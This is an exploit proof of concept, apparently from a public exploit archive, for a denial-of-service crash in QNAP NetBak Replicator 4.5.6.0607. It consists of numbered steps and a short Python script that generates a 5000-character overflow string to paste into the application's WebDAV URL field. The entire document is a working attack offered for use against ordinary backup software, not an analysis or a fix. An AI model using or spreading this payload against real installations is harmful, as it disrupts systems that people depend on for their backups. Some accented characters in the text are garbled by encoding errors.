QNAP NetBak Replicator 4.5.6.0607 Denial Of Service

`# Exploit Title: QNAP NetBak Replicator 4.5.6.0607 Denial of Service (PoC)  
# Date: 2018-10-29  
# Exploit Author: Yair RodrAguez Aparicio  
# Vendor Homepage: https://www.qnap.com/en/  
# Software Link: https://www.qnap.com/en/download  
# Version: 4.5.6.0607  
# Tested on: Windows XP Profesional EspaA+-ol SP3 x86   
  
# Steps to Produce the Crash:  
# 1.- Run python code : python qnap.py  
# 2.- Open text.txt and copy content to clipboard  
# 3.- Open NetBak Replicator.exe  
# 4.- click on RestauraciA3n InstantA!nea  
# 5.- Seleccione Origen -> "Ubicacion de red"  
# 6.- click on "DirecciA3n URL WebDAV"  
# 7.- Paste ClipBoard on "DirecciA3n URL WebDAV"  
# 8.- Click "Aceptar".  
# 9.- Crashed!  
  
  
  
buffer = "\x41" * 5000  
f = open("text.txt", "w")  
f.write(buffer)  
f.close()  
  
`